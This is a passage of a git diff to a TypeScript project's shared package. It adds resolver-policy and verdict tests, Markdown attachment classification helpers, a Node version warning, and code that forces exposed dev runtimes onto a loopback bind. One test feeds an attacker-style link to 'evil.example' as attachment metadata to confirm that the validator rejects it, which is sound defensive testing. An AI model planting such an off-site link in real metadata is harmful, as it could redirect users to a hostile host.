   cancelEnvironmentCustomImageSetupSessionSchema,
+  relinkEnvironmentCustomImageTemplateSchema,
   createEnvironmentCustomImageTerminalSessionTokenSchema,
   environmentCustomImageTerminalSessionTokenSchema,
   type EnvironmentCustomImageSetupConnectionSummary,
@@ -2397,6 +2468,7 @@ export {
   type StartEnvironmentCustomImageSetupSession,
   type FinishEnvironmentCustomImageSetupSession,
   type CancelEnvironmentCustomImageSetupSession,
+  type RelinkEnvironmentCustomImageTemplate,
   type CreateEnvironmentCustomImageTerminalSessionToken,
   type EnvironmentCustomImageTerminalSessionToken,
 } from "./validators/environment-custom-images.js";
@@ -2413,3 +2485,71 @@ export {
   type FeatureTier,
   type InstanceFeatureKey,
 } from "./feature-catalog.js";
+export {
+  HIDEABLE_GENERAL_SECTIONS,
+  HIDEABLE_INSTANCE_PAGES,
+  HIDEABLE_SETTING_KEYS,
+  SETTINGS_OPERATOR_MANAGED_ERROR_CODE,
+  UI_ONLY_GENERAL_SECTIONS,
+  experimentalSettingKey,
+  hidesExperimentalSetting,
+  hidesGeneralSection,
+  hidesInstancePage,
+  parseHiddenSettingsList,
+  type HideableExperimentalSetting,
+  type HideableGeneralSection,
+  type HideableInstancePage,
+  type HideableSettingKey,
+  type ParsedHiddenSettings,
+} from "./settings-visibility.js";
+
+// --- Runtime exposure (opt-in Tailscale HTTPS for managed branch runtimes) ---
+// PAP-17049 plan, PAP-17050 threat-model verdict. Contract shared across DB,
+// server, UI, runtime, and the least-privilege host broker.
+export type {
+  RuntimeExposureProvider,
+  RuntimeExposureFailurePolicy,
+  RuntimeExposureConfig,
+  RuntimeExposureState,
+  RuntimeExposureListenerPurpose,
+  RuntimeExposureListener,
+  RuntimeExposureStatus,
+} from "./types/runtime-exposure.js";
+export {
+  runtimeExposureProviderSchema,
+  runtimeExposureFailurePolicySchema,
+  runtimeExposureConfigSchema,
+  runtimeExposureStateSchema,
+  runtimeExposureListenerPurposeSchema,
+  runtimeExposureListenerSchema,
+  runtimeExposureStatusSchema,
+  parseRuntimeExposureConfig,
+  readRuntimeExposureIntent,
+  resolveDeclaredRuntimeExposureConfig,
+  DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+  type RuntimeExposureConfigInput,
+  type RuntimeExposureIntent,
+  type RuntimeExposureStatusInput,
+} from "./validators/runtime-exposure.js";
+export {
+  RUNTIME_EXPOSURE_APP_PORT_MIN,
+  RUNTIME_EXPOSURE_APP_PORT_MAX,
+  RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+  RUNTIME_EXPOSURE_HMR_PORT_MIN,
+  RUNTIME_EXPOSURE_HMR_PORT_MAX,
+  isRuntimeExposureAppPort,
+  isRuntimeExposureHmrPort,
+  isAllowedRuntimeExposurePort,
+  deriveViteHmrPort,
+  derivePaperclipViteHmrPort,
+  buildRuntimeExposureUrl,
+  buildRuntimeExposureHealthUrl,
+} from "./runtime-exposure/ports.js";
+export {
+  RUNTIME_EXPOSURE_BIND_MODE,
+  RUNTIME_EXPOSURE_BIND_HOST,
+  commandSelectsBindMode,
+  forceLoopbackBindInCommand,
+  isPaperclipDevRunnerCommand,
+  rewriteUrlHostToLoopback,
+} from "./runtime-exposure/loopback-bind.js";
diff --git a/packages/shared/src/issue-thread-interactions.test.ts b/packages/shared/src/issue-thread-interactions.test.ts
index 5856335181c..37ce228ba0b 100644
--- a/packages/shared/src/issue-thread-interactions.test.ts
+++ b/packages/shared/src/issue-thread-interactions.test.ts
@@ -1,14 +1,50 @@
 import { describe, expect, it } from "vitest";
+import {
+  ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES,
+  ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES,
+  legacyIssueThreadInteractionResolverPolicyAlias,
+  normalizeIssueThreadInteractionResolverPolicy,
+} from "./constants.js";
 import {
   acceptIssueThreadInteractionSchema,
   askUserQuestionsResultSchema,
   createIssueThreadInteractionSchema,
   requestConfirmationPayloadSchema,
   requestConfirmationResultSchema,
+  requestItemVerdictsResultSchema,
   submitIssueThreadInteractionVerdictsSchema,
 } from "./validators/issue.js";
 
 describe("issue thread interaction schemas", () => {
+  it("defines canonical resolver policies and normalizes compatibility aliases", () => {
+    expect(ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES).toEqual([
+      "anyone",
+      "not_creator",
+      "human_only",
+    ]);
+    expect(ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES).toEqual([
+      "board_or_agents",
+      "board_only",
+    ]);
+    expect(normalizeIssueThreadInteractionResolverPolicy("board_or_agents")).toBe("anyone");
+    expect(normalizeIssueThreadInteractionResolverPolicy("board_only")).toBe("human_only");
+    expect(normalizeIssueThreadInteractionResolverPolicy("not_creator")).toBe("not_creator");
+    expect(legacyIssueThreadInteractionResolverPolicyAlias("anyone")).toBe("board_or_agents");
+    expect(legacyIssueThreadInteractionResolverPolicyAlias("not_creator")).toBeNull();
+  });
+
+  it.each(["anyone", "not_creator", "human_only", "board_or_agents", "board_only"] as const)(
+    "accepts resolver policy input %s",
+    (resolverPolicy) => {
+      const parsed = createIssueThreadInteractionSchema.parse({
+        kind: "request_confirmation",
+        resolverPolicy,
+        payload: { version: 1, prompt: "Proceed?" },
+      });
+      expect(parsed.resolverPolicy).toBe(resolverPolicy);
+    },
+  );
+
   it("parses request_confirmation payloads with default no-wake continuation", () => {
     const parsed = createIssueThreadInteractionSchema.parse({
       kind: "request_confirmation",
@@ -98,6 +134,26 @@ describe("issue thread interaction schemas", () => {
     });
   });
 
+  it("accepts run-attributed agent item verdict results and rejects missing runs", () => {
+    const result = {
+      version: 1,
+      outcome: "resolved",
+      complete: true,
+      items: [{
+        id: "api",
+        verdict: "approve",
+        resolvedByAgentId: "11111111-1111-4111-8111-111111111111",
+        resolvedByRunId: "22222222-2222-4222-8222-222222222222",
+        resolvedAt: "2026-08-14T12:00:00.000Z",
+      }],
+    };
+    expect(requestItemVerdictsResultSchema.parse(result)).toMatchObject(result);
+    expect(() => requestItemVerdictsResultSchema.parse({
+      ...result,
+      items: [{ ...result.items[0], resolvedByRunId: undefined }],
+    })).toThrow("resolvedByRunId is required for an agent resolver");
+  });
+
   it("accepts issue document targets for request_confirmation interactions", () => {
     const parsed = createIssueThreadInteractionSchema.parse({
       kind: "request_confirmation",
diff --git a/packages/shared/src/markdown-work-products.test.ts b/packages/shared/src/markdown-work-products.test.ts
new file mode 100644
index 00000000000..7293d14ad45
--- /dev/null
+++ b/packages/shared/src/markdown-work-products.test.ts
@@ -0,0 +1,178 @@
+import { describe, expect, it } from "vitest";
+import {
+  ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX,
+  artifactReviewDocumentKey,
+  getAttachmentArtifactWorkProductMetadata,
+  getMarkdownWorkProductAttachmentMetadata,
+  isArtifactReviewDocumentKey,
+  isMarkdownArtifactWorkProduct,
+  isMarkdownAttachmentContent,
+  workProductIdFromArtifactReviewDocumentKey,
+} from "./markdown-work-products.js";
+
+const ATTACHMENT_ID = "00000000-0000-4000-8000-000000000001";
+const WORK_PRODUCT_ID = "11111111-2222-4333-8444-555555555555";
+
+function attachmentMetadata(overrides: Record<string, unknown> = {}) {
+  const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`;
+  return {
+    attachmentId: ATTACHMENT_ID,
+    contentType: "text/markdown",
+    byteSize: 128,
+    contentPath,
+    openPath: contentPath,
+    downloadPath: `${contentPath}?download=1`,
+    originalFilename: "notes.md",
+    ...overrides,
+  };
+}
+
+function workProduct(overrides: Record<string, unknown> = {}) {
+  return {
+    type: "artifact" as const,
+    provider: "paperclip",
+    metadata: attachmentMetadata(),
+    ...overrides,
+  };
+}
+
+describe("isMarkdownAttachmentContent", () => {
+  it.each([
+    "text/markdown",
+    "text/x-markdown",
+    "application/markdown",
+    "application/x-markdown",
+  ])("accepts %s regardless of filename", (contentType) => {
+    expect(isMarkdownAttachmentContent({ contentType, originalFilename: null })).toBe(true);
+  });
+
+  it("ignores MIME parameters and case", () => {
+    expect(
+      isMarkdownAttachmentContent({
+        contentType: "Text/Markdown; charset=utf-8",
+        originalFilename: null,
+      }),
+    ).toBe(true);
+  });
+
+  it.each([
+    "text/plain",
+    "application/octet-stream",
+    "binary/octet-stream",
+    "application/x-binary",
+  ])("accepts a .md filename when the content type is %s", (contentType) => {
+    expect(isMarkdownAttachmentContent({ contentType, originalFilename: "README.md" })).toBe(true);
+  });
+
+  it("accepts a .markdown filename with a generic content type", () => {
+    expect(
+      isMarkdownAttachmentContent({
+        contentType: "application/octet-stream",
+        originalFilename: "guide.markdown",
+      }),
+    ).toBe(true);
+  });
+
+  it("rejects .mdx files", () => {
+    expect(
+      isMarkdownAttachmentContent({
+        contentType: "application/octet-stream",
+        originalFilename: "page.mdx",
+      }),
+    ).toBe(false);
+    expect(
+      isMarkdownAttachmentContent({ contentType: "text/plain", originalFilename: "page.mdx" }),
+    ).toBe(false);
+  });
+
+  it("rejects markdown filenames with non-generic content types", () => {
+    expect(
+      isMarkdownAttachmentContent({ contentType: "text/html", originalFilename: "notes.md" }),
+    ).toBe(false);
+  });
+
+  it("rejects non-markdown filenames with generic content types", () => {
+    expect(
+      isMarkdownAttachmentContent({ contentType: "text/plain", originalFilename: "notes.txt" }),
+    ).toBe(false);
+  });
+
+  it("rejects a missing content type", () => {
+    expect(isMarkdownAttachmentContent({ contentType: null, originalFilename: "notes.md" })).toBe(
+      false,
+    );
+  });
+});
+
+describe("getAttachmentArtifactWorkProductMetadata", () => {
+  it("returns canonical metadata for a valid paperclip artifact work product", () => {
+    const metadata = getAttachmentArtifactWorkProductMetadata(workProduct());
+    expect(metadata?.attachmentId).toBe(ATTACHMENT_ID);
+  });
+
+  it("returns null for non-artifact work products", () => {
+    expect(getAttachmentArtifactWorkProductMetadata(workProduct({ type: "document" }))).toBeNull();
+  });
+
+  it("returns null for non-paperclip providers", () => {
+    expect(getAttachmentArtifactWorkProductMetadata(workProduct({ provider: "github" }))).toBeNull();
+  });
+
+  it("returns null when metadata is missing or non-canonical", () => {
+    expect(getAttachmentArtifactWorkProductMetadata(workProduct({ metadata: null }))).toBeNull();
+    expect(
+      getAttachmentArtifactWorkProductMetadata(
+        workProduct({
+          metadata: attachmentMetadata({ openPath: "https://evil.example/content" }),
+        }),
+      ),
+    ).toBeNull();
+  });
+});
+
+describe("getMarkdownWorkProductAttachmentMetadata", () => {
+  it("returns metadata only when the attachment is markdown-eligible", () => {
+    expect(getMarkdownWorkProductAttachmentMetadata(workProduct())).not.toBeNull();
+    expect(
+      getMarkdownWorkProductAttachmentMetadata(
+        workProduct({
+          metadata: attachmentMetadata({ contentType: "application/pdf", originalFilename: "a.pdf" }),
+        }),
+      ),
+    ).toBeNull();
+  });
+
+  it("backs the boolean eligibility helper", () => {
+    expect(isMarkdownArtifactWorkProduct(workProduct())).toBe(true);
+    expect(
+      isMarkdownArtifactWorkProduct(
+        workProduct({
+          metadata: attachmentMetadata({ contentType: "image/png", originalFilename: "a.png" }),
+        }),
+      ),
+    ).toBe(false);
+  });
+});
+
+describe("artifact review document keys", () => {
+  it("builds a deterministic key that fits the 64-character document key limit", () => {
+    const key = artifactReviewDocumentKey(WORK_PRODUCT_ID);
+    expect(key).toBe(`artifact-review-${WORK_PRODUCT_ID}`);
+    expect(key.length).toBeLessThanOrEqual(64);
+    expect(key).toMatch(/^[a-z0-9][a-z0-9_-]*$/);
+  });
+
+  it("identifies proxy review-document keys", () => {
+    expect(isArtifactReviewDocumentKey(artifactReviewDocumentKey(WORK_PRODUCT_ID))).toBe(true);
+    expect(isArtifactReviewDocumentKey("plan")).toBe(false);
+    expect(isArtifactReviewDocumentKey("notes")).toBe(false);
+    expect(isArtifactReviewDocumentKey(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX)).toBe(false);
+  });
+
+  it("round-trips the work product id", () => {
+    expect(
+      workProductIdFromArtifactReviewDocumentKey(artifactReviewDocumentKey(WORK_PRODUCT_ID)),
+    ).toBe(WORK_PRODUCT_ID);
+    expect(workProductIdFromArtifactReviewDocumentKey("plan")).toBeNull();
+  });
+});
diff --git a/packages/shared/src/markdown-work-products.ts b/packages/shared/src/markdown-work-products.ts
new file mode 100644
index 00000000000..16a88cfb717
--- /dev/null
+++ b/packages/shared/src/markdown-work-products.ts
@@ -0,0 +1,99 @@
+import type {
+  AttachmentArtifactWorkProductMetadata,
+  IssueWorkProduct,
+} from "./types/work-product.js";
+import { attachmentArtifactWorkProductMetadataSchema } from "./validators/work-product.js";
+
+/**
+ * Shared classification for bridging attachment-backed Markdown work products
+ * into the issue document review experience. Server materialization and UI
+ * presentation must agree on eligibility, so both sides use these helpers.
+ */
+
+export const MARKDOWN_ATTACHMENT_CONTENT_TYPES = [
+  "text/markdown",
+  "text/x-markdown",
+  "application/markdown",
+  "application/x-markdown",
+] as const;
+
+const MARKDOWN_ATTACHMENT_CONTENT_TYPE_SET = new Set<string>(MARKDOWN_ATTACHMENT_CONTENT_TYPES);
+
+const MARKDOWN_FALLBACK_CONTENT_TYPES = new Set([
+  "text/plain",
+  "application/octet-stream",
+  "binary/octet-stream",
+  "application/x-binary",
+]);
+
+const MARKDOWN_FILENAME_EXTENSIONS = [".md", ".markdown"];
+
+/**
+ * Maximum attachment size eligible for review-document materialization.
+ * Matches the issue-document body limit: a UTF-8 payload of at most this many
+ * bytes always fits the 524288-character body cap.
+ */
+export const MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES = 512 * 1024;
+
+export const ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX = "artifact-review-";
+
+function normalizeAttachmentContentType(contentType: string | null | undefined): string {
+  return (contentType ?? "").toLowerCase().split(";")[0]?.trim() ?? "";
+}
+
+export function isMarkdownAttachmentContent(input: {
+  contentType: string | null | undefined;
+  originalFilename?: string | null;
+}): boolean {
+  const contentType = normalizeAttachmentContentType(input.contentType);
+  if (MARKDOWN_ATTACHMENT_CONTENT_TYPE_SET.has(contentType)) return true;
+  const filename = (input.originalFilename ?? "").toLowerCase();
+  if (!MARKDOWN_FILENAME_EXTENSIONS.some((extension) => filename.endsWith(extension))) {
+    return false;
+  }
+  return MARKDOWN_FALLBACK_CONTENT_TYPES.has(contentType);
+}
+
+export type AttachmentArtifactWorkProductLike = Pick<
+  IssueWorkProduct,
+  "type" | "provider" | "metadata"
+>;
+
+export function getAttachmentArtifactWorkProductMetadata(
+  workProduct: AttachmentArtifactWorkProductLike,
+): AttachmentArtifactWorkProductMetadata | null {
+  if (workProduct.type !== "artifact" || workProduct.provider !== "paperclip") return null;
+  if (!workProduct.metadata) return null;
+  const parsed = attachmentArtifactWorkProductMetadataSchema.safeParse(workProduct.metadata);
+  return parsed.success ? parsed.data : null;
+}
+
+export function getMarkdownWorkProductAttachmentMetadata(
+  workProduct: AttachmentArtifactWorkProductLike,
+): AttachmentArtifactWorkProductMetadata | null {
+  const metadata = getAttachmentArtifactWorkProductMetadata(workProduct);
+  if (!metadata) return null;
+  return isMarkdownAttachmentContent(metadata) ? metadata : null;
+}
+
+export function isMarkdownArtifactWorkProduct(
+  workProduct: AttachmentArtifactWorkProductLike,
+): boolean {
+  return getMarkdownWorkProductAttachmentMetadata(workProduct) !== null;
+}
+
+export function artifactReviewDocumentKey(workProductId: string): string {
+  return `${ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX}${workProductId}`;
+}
+
+export function isArtifactReviewDocumentKey(key: string): boolean {
+  return (
+    key.startsWith(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX) &&
+    key.length > ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX.length
+  );
+}
+
+export function workProductIdFromArtifactReviewDocumentKey(key: string): string | null {
+  if (!isArtifactReviewDocumentKey(key)) return null;
+  return key.slice(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX.length);
+}
diff --git a/packages/shared/src/node-version.ts b/packages/shared/src/node-version.ts
new file mode 100644
index 00000000000..0cd7ed5bbeb
--- /dev/null
+++ b/packages/shared/src/node-version.ts
@@ -0,0 +1,49 @@
+export const MINIMUM_NODE_VERSION = "24.11.0";
+export const NODE_VERSION_INSTALL_GUIDE_URL =
+  "https://github.com/paperclipai/paperclip/blob/master/doc/INSTALLING.md#recommended-install";
+const NODE_VERSION_WARNING_EMITTED = Symbol.for("@paperclipai/node-version-warning-emitted");
+
+function parseVersion(version: string): [number, number, number] | null {
+  const match = /^v?(\d+)\.(\d+)\.(\d+)/.exec(version.trim());
+  if (!match) return null;
+  return [Number(match[1]), Number(match[2]), Number(match[3])];
+}
+
+export function isSupportedNodeVersion(version: string): boolean {
+  const current = parseVersion(version);
+  const minimum = parseVersion(MINIMUM_NODE_VERSION);
+  if (!current || !minimum) return false;
+
+  for (let index = 0; index < current.length; index += 1) {
+    if (current[index] > minimum[index]) return true;
+    if (current[index] < minimum[index]) return false;
+  }
+  return true;
+}
+
+export function formatNodeVersionWarning(version: string): string | null {
+  if (isSupportedNodeVersion(version)) return null;
+  const currentVersion = version.trim() || "unknown";
+  return [
+    `[paperclip] warning: Node.js ${currentVersion} is unsupported. Paperclip requires Node.js ${MINIMUM_NODE_VERSION} or newer.`,
+    "Upgrade Node.js with your version manager, or follow the recommended downloaded install.sh workflow:",
+    `  ${NODE_VERSION_INSTALL_GUIDE_URL}`,
+    "The piped install.sh form cannot upgrade an unsupported Node.js runtime.",
+    "Restart Paperclip after upgrading.",
+  ].join("\n");
+}
+
+export function warnIfUnsupportedNodeVersion(
+  version: string,
+  warn: (message: string) => void,
+): boolean {
+  const warning = formatNodeVersionWarning(version);
+  if (!warning) return false;
+
+  const warningState = globalThis as unknown as Record<symbol, boolean | undefined>;
+  if (warningState[NODE_VERSION_WARNING_EMITTED]) return false;
+
+  warningState[NODE_VERSION_WARNING_EMITTED] = true;
+  warn(warning);
+  return true;
+}
diff --git a/packages/shared/src/runtime-exposure/loopback-bind.test.ts b/packages/shared/src/runtime-exposure/loopback-bind.test.ts
new file mode 100644
index 00000000000..293e1ef3522
--- /dev/null
+++ b/packages/shared/src/runtime-exposure/loopback-bind.test.ts
@@ -0,0 +1,137 @@
+import { describe, expect, it } from "vitest";
+
+import {
+  RUNTIME_EXPOSURE_BIND_HOST,
+  commandSelectsBindMode,
+  forceLoopbackBindInCommand,
+  isPaperclipDevRunnerCommand,
+  rewriteUrlHostToLoopback,
+} from "./loopback-bind.js";
+
+describe("forceLoopbackBindInCommand", () => {
+  it("replaces the exact command the failing managed lanes ran", () => {
+    // PAP-17256 reproduction: this is verbatim what `workspace_runtime_services`
+    // recorded for every lane the broker denied.
+    expect(forceLoopbackBindInCommand("pnpm dev --bind lan")).toBe(
+      "pnpm dev --bind loopback",
+    );
+  });
+
+  it("replaces an existing loopback-adjacent bind rather than duplicating it", () => {
+    expect(forceLoopbackBindInCommand("pnpm dev --bind tailnet")).toBe(
+      "pnpm dev --bind loopback",
+    );
+    expect(forceLoopbackBindInCommand("pnpm dev --bind custom --bind-host 10.0.0.4")).toBe(
+      "pnpm dev --bind loopback",
+    );
+  });
+
+  it("is idempotent, so a re-start of an already-rewritten service is stable", () => {
+    const once = forceLoopbackBindInCommand("pnpm dev --bind lan");
+    expect(forceLoopbackBindInCommand(once)).toBe(once);
+  });
+
+  it("handles the =-separated spelling", () => {
+    expect(forceLoopbackBindInCommand("pnpm dev --bind=lan --bind-host=0.0.0.0")).toBe(
+      "pnpm dev --bind loopback",
+    );
+  });
+
+  it("adds an explicit loopback bind when the command selects none", () => {
+    // A bare `pnpm dev` lets an old guest runner infer its bind from HOST, so the
+    // flags must be added rather than assumed.
+    expect(forceLoopbackBindInCommand("pnpm dev")).toBe(
+      "pnpm dev --bind loopback",
+    );
+  });
+
+  it("keeps the legacy lan aliases so dev-service detection still matches", () => {
+    // `isPaperclipDevRuntimeService` matches `--tailscale-auth` as a substring;
+    // an explicit `--bind` already beats the alias in every dev-runner version.
+    expect(forceLoopbackBindInCommand("pnpm dev:once --tailscale-auth")).toBe(
+      "pnpm dev:once --tailscale-auth --bind loopback",
+    );
+  });
+
+  it("never strips a value that is actually the next flag", () => {
+    expect(forceLoopbackBindInCommand("pnpm dev --bind --verbose")).toBe(
+      "pnpm dev --bind --verbose --bind loopback",
+    );
+  });
+
+  it("does not touch a --bind occurrence that is not a flag boundary", () => {
+    expect(forceLoopbackBindInCommand("pnpm dev --no--bind lan")).toBe(
+      "pnpm dev --no--bind lan --bind loopback",
+    );
+  });
+
+  it("leaves a command that does not parse these flags untouched", () => {
+    // The HTTPS probe canaries: rewriting this would produce nonsense, and
+    // appending flags to a command that cannot parse them makes it exit at boot.
+    const canary = 'python3 -m http.server "$PORT" --bind 127.0.0.1';
+    expect(forceLoopbackBindInCommand(canary)).toBe(canary);
+    const fixture = `node -e 'require("http").createServer().listen(1)'`;
+    expect(forceLoopbackBindInCommand(fixture)).toBe(fixture);
+  });
+
+  it("uses the loopback preset without turning it into a custom bind", () => {
+    expect(forceLoopbackBindInCommand("pnpm dev")).toBe("pnpm dev --bind loopback");
+    expect(RUNTIME_EXPOSURE_BIND_HOST).toBe("127.0.0.1");
+  });
+});
+
+describe("commandSelectsBindMode", () => {
+  it("detects both spellings and the legacy aliases", () => {
+    expect(commandSelectsBindMode("pnpm dev --bind lan")).toBe(true);
+    expect(commandSelectsBindMode("pnpm dev --bind=lan")).toBe(true);
+    expect(commandSelectsBindMode("pnpm dev --bind-host 10.0.0.1")).toBe(true);
+    expect(commandSelectsBindMode("pnpm dev:once --tailscale-auth")).toBe(true);
+    expect(commandSelectsBindMode("pnpm dev:once --authenticated-private")).toBe(true);
+  });
+
+  it("is false for a command with no bind selection", () => {
+    expect(commandSelectsBindMode("pnpm dev")).toBe(false);
+    expect(commandSelectsBindMode('python3 -m http.server "$PORT"')).toBe(false);
+  });
+});
+
+describe("isPaperclipDevRunnerCommand", () => {
+  it("matches the real managed dev commands", () => {
+    expect(isPaperclipDevRunnerCommand("pnpm dev --bind lan")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("pnpm dev")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("pnpm dev:once --tailscale-auth")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("pnpm dev:watch")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("npm run dev --bind lan")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("yarn dev")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("node /tmp/x/dev-runner.mjs --bind lan")).toBe(true);
+    expect(isPaperclipDevRunnerCommand("tsx ../scripts/dev-runner.ts watch")).toBe(true);
+  });
+
+  it("does not match unrelated commands that merely use --bind", () => {
+    expect(isPaperclipDevRunnerCommand('python3 -m http.server "$PORT" --bind 127.0.0.1')).toBe(false);
+    expect(isPaperclipDevRunnerCommand("node -e 'listen()'")).toBe(false);
+    expect(isPaperclipDevRunnerCommand("pnpm build")).toBe(false);
+    expect(isPaperclipDevRunnerCommand("pnpm develop")).toBe(false);
+    expect(isPaperclipDevRunnerCommand("./my-dev-runnerish --bind lan")).toBe(false);
+  });
+});
+
+describe("rewriteUrlHostToLoopback", () => {
+  it("redirects a MagicDNS probe target to loopback, keeping port and path", () => {
+    expect(rewriteUrlHostToLoopback("http://paperclip-dev:42003/api/health")).toBe(
+      "http://127.0.0.1:42003/api/health",
+    );
+    expect(rewriteUrlHostToLoopback("http://paperclip-dev:42003")).toBe("http://127.0.0.1:42003/");
+  });
+
+  it("leaves an already-loopback target alone", () => {
+    expect(rewriteUrlHostToLoopback("http://127.0.0.1:42003/api/health")).toBe(
+      "http://127.0.0.1:42003/api/health",
+    );
+  });
+
+  it("passes through null and unparseable values", () => {
+    expect(rewriteUrlHostToLoopback(null)).toBeNull();
+    expect(rewriteUrlHostToLoopback("not a url")).toBe("not a url");
+  });
+});
diff --git a/packages/shared/src/runtime-exposure/loopback-bind.ts b/packages/shared/src/runtime-exposure/loopback-bind.ts
new file mode 100644
index 00000000000..696dcbc1fc8
--- /dev/null
+++ b/packages/shared/src/runtime-exposure/loopback-bind.ts
@@ -0,0 +1,98 @@
+/**
+ * Forcing a managed runtime's listeners onto loopback through argv (PAP-17256).
+ *
+ * The broker only exposes a port whose listener /proc proves to be loopback-only,
+ * so an exposed Paperclip dev runtime MUST bind `127.0.0.1`. The server used to
+ * request that with env vars alone (`PAPERCLIP_BIND` / `PAPERCLIP_BIND_HOST`),
+ * which is not sufficient: the process that has to honour them is the *guest
+ * checkout's* `scripts/dev-runner.ts`, and a checkout that predates managed
+ * exposure overwrites `PAPERCLIP_BIND` from its own `--bind` argv and deletes
+ * `PAPERCLIP_BIND_HOST` outright. A branch pinned at such a commit therefore
+ * bound `0.0.0.0` and every expose was correctly denied with
+ * `listener_ownership_mismatch`.
+ *
+ * argv is the one channel every dev-runner version honours, because each of them
+ * derives its bind mode from `--bind` / `--bind-host` *before* writing the child
+ * env. Rewriting the command is what actually makes the loopback bind binding.
+ *
+ * Pure string functions only — no I/O, no process state.
+ */
+
+/** The only bind preset an exposed managed runtime may use. */
+export const RUNTIME_EXPOSURE_BIND_MODE = "loopback";
+export const RUNTIME_EXPOSURE_BIND_HOST = "127.0.0.1";
+
+/**
+ * `--bind <mode>` / `--bind-host <host>`, in both the space- and `=`-separated
+ * spellings. Each takes exactly one value, and a value is never another flag.
+ */
+const BIND_SELECTING_ARG =
+  /(?:^|\s)--bind(?:-host)?(?:=|\s+)(?!--)[^\s]+/g;
+
+/** Legacy aliases for `--bind lan`; they select a non-loopback bind. */
+const LEGACY_LAN_ALIASES = /(?:^|\s)--(?:tailscale-auth|authenticated-private)(?=\s|$)/g;
+
+/** True when the command carries an explicit bind selection of any kind. */
+export function commandSelectsBindMode(command: string): boolean {
+  return new RegExp(BIND_SELECTING_ARG.source).test(command)
+    || new RegExp(LEGACY_LAN_ALIASES.source).test(command);
+}
+
+/**
+ * A Paperclip dev-runner invocation — the only shape that understands
+ * `--bind` / `--bind-host`.
+ *
+ * Deliberately keyed on the *command*, not the service name. `--bind` means
+ * something entirely different to an unrelated process (the HTTPS probe canaries
+ * pass it to `python3 -m http.server`), and appending flags a command does not
+ * parse turns a working service into one that exits on startup.
+ */
+const PAPERCLIP_DEV_RUNNER_COMMAND =
+  /(?:^|[\s;&|])(?:(?:pnpm|npm|yarn|bun)(?:\s+run)?\s+dev(?::once|:watch|:server)?(?=\s|$)|[^\s]*dev-runner(?:\.[cm]?[jt]s)?(?=\s|$))/;
+
+export function isPaperclipDevRunnerCommand(command: string): boolean {
+  return PAPERCLIP_DEV_RUNNER_COMMAND.test(command);
+}
+
+/**
+ * Rewrite a Paperclip dev-runner command so it explicitly requests the loopback
+ * bind, replacing whatever bind selection it carried.
+ *
+ * A command that is not a dev-runner invocation is returned untouched — see
+ * {@link isPaperclipDevRunnerCommand} for why that guard is not optional.
+ *
+ * The legacy `--tailscale-auth` / `--authenticated-private` aliases are
+ * deliberately *left in place*: an explicit `--bind` already wins over them in
+ * every dev-runner version, they still correctly select the authenticated
+ * deployment mode an exposed lane wants, and `isPaperclipDevRuntimeService`
+ * matches on `--tailscale-auth` as a substring, so stripping it would silently
+ * change readiness handling.
+ */
+export function forceLoopbackBindInCommand(command: string): string {
+  if (!isPaperclipDevRunnerCommand(command)) return command;
+  const stripped = command.replace(BIND_SELECTING_ARG, "").trim();
+  if (stripped.length === 0) return command;
+  return `${stripped} --bind ${RUNTIME_EXPOSURE_BIND_MODE}`;
+}
+
+/**
+ * Point a probe URL at loopback, keeping its scheme, port, and path.
+ *
+ * An exposed runtime's listener is loopback-only by construction, so probing it
+ * on any other host cannot work. The live config happens to declare a loopback
+ * readiness URL, but the fallback target is the service's display URL — a
+ * MagicDNS name like `http://paperclip-dev:42003` — which only ever answered
+ * because the guest was wrongly bound to the wildcard. Normalising here keeps
+ * the loopback fix from turning that latent mismatch into a readiness timeout.
+ */
+export function rewriteUrlHostToLoopback(url: string | null): string | null {
+  if (!url) return url;
+  try {
+    const parsed = new URL(url);
+    parsed.hostname = RUNTIME_EXPOSURE_BIND_HOST;
+    return parsed.toString();
+  } catch {
+    // Not a URL we can reason about; leave it for the caller's own handling.
+    return url;
+  }
+}
diff --git a/packages/shared/src/runtime-exposure/ports.test.ts b/packages/shared/src/runtime-exposure/ports.test.ts
new file mode 100644
index 00000000000..de27b2c17db
--- /dev/null
+++ b/packages/shared/src/runtime-exposure/ports.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import {
+  RUNTIME_EXPOSURE_APP_PORT_MAX,
+  RUNTIME_EXPOSURE_APP_PORT_MIN,
+  RUNTIME_EXPOSURE_HMR_PORT_MAX,
+  RUNTIME_EXPOSURE_HMR_PORT_MIN,
+  RUNTIME_EXPOSURE_HMR_PORT_OFFSET,
+  buildRuntimeExposureHealthUrl,
+  buildRuntimeExposureUrl,
+  deriveViteHmrPort,
+  derivePaperclipViteHmrPort,
+  isAllowedRuntimeExposurePort,
+  isRuntimeExposureAppPort,
+  isRuntimeExposureHmrPort,
+} from "./ports.js";
+
+describe("runtime exposure port policy", () => {
+  it("accepts app ports only inside the dedicated range", () => {
+    expect(isRuntimeExposureAppPort(RUNTIME_EXPOSURE_APP_PORT_MIN)).toBe(true);
+    expect(isRuntimeExposureAppPort(RUNTIME_EXPOSURE_APP_PORT_MAX)).toBe(true);
+    expect(isRuntimeExposureAppPort(RUNTIME_EXPOSURE_APP_PORT_MIN - 1)).toBe(false);
+    expect(isRuntimeExposureAppPort(RUNTIME_EXPOSURE_APP_PORT_MAX + 1)).toBe(false);
+  });
+
+  it("rejects privileged, reserved, and non-integer ports", () => {
+    expect(isAllowedRuntimeExposurePort(443)).toBe(false);
+    expect(isAllowedRuntimeExposurePort(22)).toBe(false);
